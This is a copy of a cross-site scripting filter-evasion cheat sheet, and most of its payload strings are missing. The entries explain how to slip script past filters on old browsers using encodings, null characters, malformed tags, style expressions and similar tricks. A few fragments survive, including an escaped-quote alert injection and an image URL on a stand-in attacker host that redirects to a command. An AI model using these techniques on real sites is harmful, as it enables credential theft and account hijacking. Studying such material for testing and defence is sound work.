XSS locator. Inject this string, and in most
cases where a script is vulnerable with no special XSS vector
requirements the word "XSS" will pop up. Use the URL encoding calculator
below to encode the entire string. Tip: if you're in a rush and need to
quickly check a page, often times injecting the depreciated
"<PLAINTEXT>" tag will be enough to check to see if something is
vulnerable to XSS by messing up the output appreciably:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
XSS locator 2. If you don't have much space
and know there is no vulnerable JavaScript on the page, this string is
a nice compact XSS injection check. View source after injecting it and
look for <XSS verses <XSS to see if it is vulnerable:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
No filter evasion. This is a normal
XSS JavaScript injection, and most likely to get caught but I suggest
trying it first (the quotes are not required in any modern browser so
they are omitted here):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Image XSS using the JavaScript directive
(IE7.0 doesn't support the JavaScript directive in context of an image,
but it does in other contexts, but the following show the principles
that would work in other tags as well - I'll probably revise this at a
later date):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
No quotes and no semicolon:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Case insensitive XSS attack vector:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
HTML entities (the semicolons are required for this to work):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Grave accent obfuscation (If you need
to use both double and single quotes you can use a grave accent to
encapsulate the JavaScript string - this is also useful because lots of
cross site scripting filters don't know about grave accents):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Malformed IMG tags. Originally found by Begeek
(but cleaned up and shortened to work in all browsers), this XSS vector
uses the relaxed rendering engine to create our XSS vector within an
IMG tag that should be encapsulated within quotes. I assume this was
originally meant to correct sloppy coding. This would make it
significantly more difficult to correctly parse apart an HTML tag:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
fromCharCode (if no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need). Click here to build your own (thanks to Hannes Leopold):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
UTF-8 Unicode encoding (all of the XSS
examples that use a javascript: directive inside of an <IMG tag will
not work in Firefox or Netscape 8.1+ in the Gecko rendering engine
mode). Use the XSS calculator for more information:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Long UTF-8 Unicode encoding
without semicolons (this is often effective in XSS that attempts to
look for "&#XX;", since most people don't know about padding - up
to 7 numeric characters total). This is also useful against people who
decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/;
which incorrectly assumes a semicolon is required to terminate a html
encoded string (I've seen this in the wild):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Hex encoding without semicolons (this is
also a viable XSS attack against the above string $tmp_string =~
s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric
character following the pound symbol - which is not true with hex HTML
characters). Use the XSS calculator for more information:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Embedded tab to break up the cross site scripting attack:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Embedded encoded tab to break up XSS:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Embeded newline to break up XSS. Some
websites claim that any of the chars 09-13 (decimal) will work for this
attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and
13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Embedded carriage return to
break up XSS (Note: with the above I am making these strings longer
than they have to be because the zeros could be omitted. Often I've
seen filters that assume the hex and dec encoding has to be two or
three characters. The real rule is 1-7 characters.):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Multiline Injected JavaScript using ASCII
carriage returns (same as above only a more extreme example of this XSS
vector) these are not spaces just one of the three characters as
described above:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Null breaks up JavaScript directive. Okay, I
lied, null chars also work as XSS vectors but not like above, you need
to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim
(^V^@ will produce a null) or the following program to generate it into
a text file. Okay, I lied again, older versions of Opera (circa 7.11 on
Windows) were vulnerable to one additional char 173 (the soft hypen
control char). But the null char %00 is much more useful and helped me
bypass certain real world filters with a variation on this example:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Null breaks up cross site scripting vector.
Here is a little known XSS attack vector using null characters. You can
actually break up the HTML itself using the same nulls as shown above.
I've seen this vector bypass some of the most restrictive XSS filters
to date:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Spaces and meta chars before the
JavaScript in images for XSS (this is useful if the pattern match
doesn't take into account spaces in the word "javascript:" -which is
correct since that won't render- and makes the false assumption that
you can't have a space between the quote and the "javascript:" keyword.
The actual reality is you can have any char from 1-32 in decimal):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Non-alpha-non-digit XSS. While I
was reading the Firefox HTML parser I found that it assumes a
non-alpha-non-digit is not valid after an HTML keyword and therefor
considers it to be a whitespace or non-valid token after an HTML tag.
The problem is that some XSS filters assume that the tag they are
looking for is broken up by whitespace. For example "<SCRIPT\s" !=
"<SCRIPT/XSS\s":
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Non-alpha-non-digit part 2 XSS.
yawnmoth brought my attention to this vector, based on the same idea as
above, however, I expanded on it, using my fuzzer. The Gecko rendering
engine allows for any character other than letters, numbers or
encapsulation chars (like quotes, angle brackets, etc...) between the
event handler and the equals sign, making it easier to bypass cross
site scripting blocks. Note that this also applies to the grave accent
char as seen here:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Non-alpha-non-digit part 3 XSS. Yair Amit
brought this to my attention that there is slightly different behavior
between the IE and Gecko rendering engines that allows just a slash
between the tag and the parameter with no spaces. This could be useful
if the system does not allow spaces.
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Extraneous open brackets.
Submitted by Franz Sedlmaier, this XSS vector could defeat certain
detection engines that work by first using matching pairs of open and
close angle brackets and then by doing a comparison of the tag inside,
instead of a more efficient algorythm like Boyer-Moore
that looks for entire string matches of the open angle bracket and
associated tag (post de-obfuscation, of course). The double slash
comments out the ending extraneous bracket to supress a JavaScript
error:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
No closing script tags. In
Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't
actually need the "></SCRIPT>" portion of this Cross Site
Scripting vector. Firefox assumes it's safe to close the HTML tag and
add closing tags for you. How thoughtful! Unlike the next one, which
doesn't effect Firefox, this does not require any additional HTML below
it. You can add quotes if you need to, but they're not needed
generally, although beware, I have no idea what the HTML will end up
looking like once this is injected:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Protocol resolution in script tags. This particular variant was submitted by Łukasz Pilorz
and was based partially off of Ozh's protocol resolution bypass below.
This cross site scripting example works in IE, Netscape in IE rendering
mode and Opera if you add in a </SCRIPT> tag at the end. However,
this is especially useful where space is an issue, and of course, the
shorter your domain, the better. The ".j" is valid, regardless of the
encoding type because the browser knows it in context of a SCRIPT tag.
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Half open HTML/JavaScript XSS vector.
Unlike Firefox the IE rendering engine doesn't add extra data to your
page, but it does allow the javascript: directive in images. This is
useful as a vector because it doesn't require a close angle bracket.
This assumes there is any HTML tag below where you are injecting this
cross site scripting vector. Even though there is no close ">" tag
the tags below it will close it. A note: this does mess up the HTML,
depending on what HTML is beneath it. It gets around the following NIDS regex:
/((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't
require the end ">". As a side note, this was also affective against
a real world XSS filter I came across using an open ended <IFRAME
tag instead of an <IMG tag:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Double open angle brackets. This is an odd one that Steven Christey
brought to my attention. At first I misclassified this as the same XSS
vector as above but it's surprisingly different. Using an open angle
bracket at the end of the vector instead of a close angle bracket
causes different behavior in Netscape Gecko rendering. Without it,
Firefox will work but Netscape won't:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
XSS with no single quotes or double quotes or semicolons:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Escaping JavaScript escapes. When
the application is written to output some user information inside of a
JavaScript like the following: <SCRIPT>var
a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own
JavaScript into it but the server side application escapes certain
quotes you can circumvent that by escaping their escape character. When
this is gets injected it will read <SCRIPT>var
a="\\";alert('XSS');//";</SCRIPT> which ends up un-escaping the
double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
End title tag. This is a simple XSS vector that closes <TITLE> tags, which can encapsulate the malicious cross site scripting attack:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
INPUT image:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
BODY image:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
BODY tag (I like this method because it
doesn't require using any variants of "javascript:" or "<SCRIPT..."
to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign ("onload=" != "onload ="):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Event Handlers that can be used in
similar XSS attacks to the one above (this is the most comprehensive
list on the net, at the time of this writing). Please note I have
excluded browser support from this section because each one may have
different results in different browsers. Thanks to Rene Ledosquet for the HTML+TIME updates:
IMG Dynsrc:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
IMG lowsrc:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
BGSOUND:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
& JavaScript includes (works in Netscape 4.x):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]
LAYER (also only works in Netscape 4.x)
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]
STYLE sheet:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Remote style sheet (using
something as simple as a remote style sheet you can include your XSS as
the style parameter can be redefined using an embedded expression.)
This only works in IE and Netscape 8.1+ in IE rendering engine mode.
Notice that there is nothing on the page to show that there is included
JavaScript. Note: With all of these remote style sheet examples they
use the body tag, so it won't work unless there is some content on the
page other than the vector itself, so you'll need to add a single
letter to the page to make it work if it's an otherwise blank page:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Remote style sheet part 2
(this works the same as above, but uses a <STYLE> tag instead of
a <LINK> tag). A slight variation on this vector was used to hack Google Desktop.
As a side note, you can remove the end </STYLE> tag if there is
HTML immediately after the vector to close it. This is useful if you
cannot have either an equals sign or a slash in your cross site
scripting attack, which has come up at least once in the real world:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Remote style sheet part 3. This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616
setting a link header is not part of the HTTP1.1 spec, however some
browsers still allow it (like Firefox and Opera). The trick here is
that I am setting a header (which is basically no different than in the
HTTP header saying Link: <http://ha.ckers.org/xss.css>;
REL=stylesheet) and the remote style sheet with my cross site scripting
vector is running the JavaScript, which is not supported in FireFox:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Remote style sheet part 4.
This only works in Gecko rendering engines and works by binding an XUL
file to the parent page. I think the irony here is that Netscape
assumes that Gecko is safer and therefor is vulnerable to this for the
vast majority of sites:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Local htc file. This is a little
different than the above two cross site scripting vectors because it
uses an .htc file which must be on the same server as the XSS vector.
The example file works by pulling in the JavaScript and running it as
part of the style attribute:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
List-style-image. Fairly esoteric
issue dealing with embedding images for bulleted lists. This will only
work in the IE rendering engine because of the JavaScript directive.
Not a particularly useful cross site scripting vector:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
VBscript in an image:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Mocha (older versions of Netscape only):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]
Livescript (older versions of Netscape only):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]
US-ASCII encoding (found by Kurt Huwig).
This uses malformed ASCII encoding with 7 bits instead of 8. This XSS
may bypass many content filters but only works if the host transmits in
US-ASCII encoding, or if you set the encoding yourself. This is more
useful against web application firewall cross site scripting evasion
than it is server side filter evasion. Apache Tomcat is the only known
server that transmits in US-ASCII encoding. I highly suggest anyone
interested in alternate encoding issues look at my charsets issues page:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]
META (the odd thing about meta refresh is that
it doesn't send a referrer in the header - so it can be used for
certain types of attacks where you need to get rid of referring URLs):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
META using data: directive
URL scheme. This is nice because it also doesn't have anything visibly
that has the word SCRIPT or the JavaScript directive in it, because it
utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS calculator below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
META with additional URL parameter.
If the target website attempts to see if the URL contains "http://" at
the beginning you can evade it with the following technique (Submitted
by Moritz Naumann):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
IFRAME (if iframes are allowed there are a lot of other XSS problems as well):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
FRAME (frames have the same sorts of XSS problems as iframes):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
TABLE (who would have thought tables were XSS targets... except me, of course):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
TD (just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
DIV background-image:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
DIV background-image plus extra characters.
I built a quick XSS fuzzer to detect any erroneous characters that are
allowed after the open parenthesis but before the JavaScript directive
in IE and Netscape 8.1 in secure site mode. These are in decimal but
you can include hex and add padding of course. (Any of the following
chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
DIV expression - a variant of this was
effective against a real world cross site scripting filter using a
newline between the colon and "expression":
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov for this one):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Anonymous HTML with STYLE attribute
(IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care
if the HTML tag you build exists or not, as long as it starts with an
open angle bracket and a letter):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
IMG STYLE with expression (this
is really a hybrid of the above XSS vectors, but it really does show
how hard STYLE tags can be to parse apart, like above this can send IE
into a loop):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
STYLE tag (Older versions of Netscape only):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]
STYLE tag using background-image:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
STYLE tag using background:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Downlevel-Hidden block (only works
in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some
websites consider anything inside a comment block to be safe and
therefore does not need to be removed, which allows our Cross Site
Scripting vector. Or the system could add comment tags around something
to attempt to render it harmless. As we can see, that probably wouldn't
do the job:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
BASE tag. Works in IE and Netscape 8.1 in safe
mode. You need the // to comment out the next characters so you won't
get a JavaScript error and your XSS tag will render. Also, this relies
on the fact that the website uses dynamically placed images like
"images/image.jpg" rather than full paths. If the path includes a
leading forward slash like "/images/image.jpg" you can remove one slash
from this vector (as long as there are two to begin the comment this
will work):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
OBJECT tag (if they allow objects, you can
also inject virus payloads to infect the users, etc. and same with the
APPLET tag). The linked file is actually an HTML file that can contain
your XSS:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Using an OBJECT tag you can embed XSS directly (this is unverified so no browser support is added):
Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo.
If you add the attributes allowScriptAccess="never" and
allownetworking="internal" it can mitigate this risk (thank you to
Jonathan Vanasco for the info).:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
You can EMBED SVG which can contain your
XSS vector. This example only works in Firefox, but it's better than
the above vector in Firefox because it does not require the user to
have Flash turned on or installed. Thanks to nEUrOO for this one.
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Using ActionScript inside flash can obfuscate your XSS vector:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
XML namespace. The htc file must be located on the same server as your XSS vector:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
XML data island with comment obfuscation
(this is another take on the same exploit that doesn't use CDATA
fields, but rather uses comments to break up the javascript directive):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Locally hosted XML with embedded JavaScript
that is generated using an XML data island. This is the same as above
but instead referrs to a locally hosted (must be on the same server)
XML file that contains your cross site scripting vector. You can see
the result here:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
HTML+TIME in XML. This is how Grey Magic hacked Hotmail and Yahoo!.
This only works in Internet Explorer and Netscape 8.1 in IE rendering
engine mode and remember that you need to be between HTML and BODY tags
for this to work:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
SSI (Server Side Includes) requires SSI to be
installed on the server to use this XSS vector. I probably don't need
to mention this, but if you can run commands on the server there are no
doubt much more serious issues:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
PHP - requires PHP to be installed on the server
to use this XSS vector. Again, if you can run any scripts remotely like
this, there are probably much more dire issues:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
IMG Embedded commands - this works when the
webpage where this is injected (like a web-board) is behind password
protection and that password protection works with other commands on
the same domain. This can be used to delete users, add users (if the
user who visits the page is an administrator), send credentials
elsewhere, etc.... This is one of the lesser used but more useful XSS
vectors:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
IMG Embedded commands part II - this is
more scary because there are absolutely no identifiers that make it
look suspicious other than it is not hosted on your own domain. The
vector uses a 302 or 304 (others work too) to redirect the image back
to a command. So a normal <IMG SRC="http://badguy.com/a.jpg">
could actually be an attack vector to run commands as the user who
views the image link. Here is the .htaccess (under Apache) line to
accomplish the vector (thanks to Timo for part of this):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Cookie manipulation - admittidly
this is pretty obscure but I have seen a few examples where <META is
allowed and you can use it to overwrite cookies. There are other
examples of sites where instead of fetching the username from a
database it is stored inside of a cookie to be displayed only to the
user who visits the page. With these two scenarios combined you can
modify the victim's cookie which will be displayed back to them as
JavaScript (you can also use this to log people out or change their
user states, get them to log in as you, etc...):
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
UTF-7 encoding - if the page that the XSS
resides on doesn't provide a page charset header, or any browser that
is set to UTF-7 encoding can be exploited with the following (Thanks to
Roman Ivanov for this one). Click here
for an example (you don't need the charset statement if the user's
browser is set to auto-detect and there is no overriding content-types
on the page in Internet Explorer and Netscape 8.1 in IE rendering
engine mode). This does not work in any modern browser without changing
the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]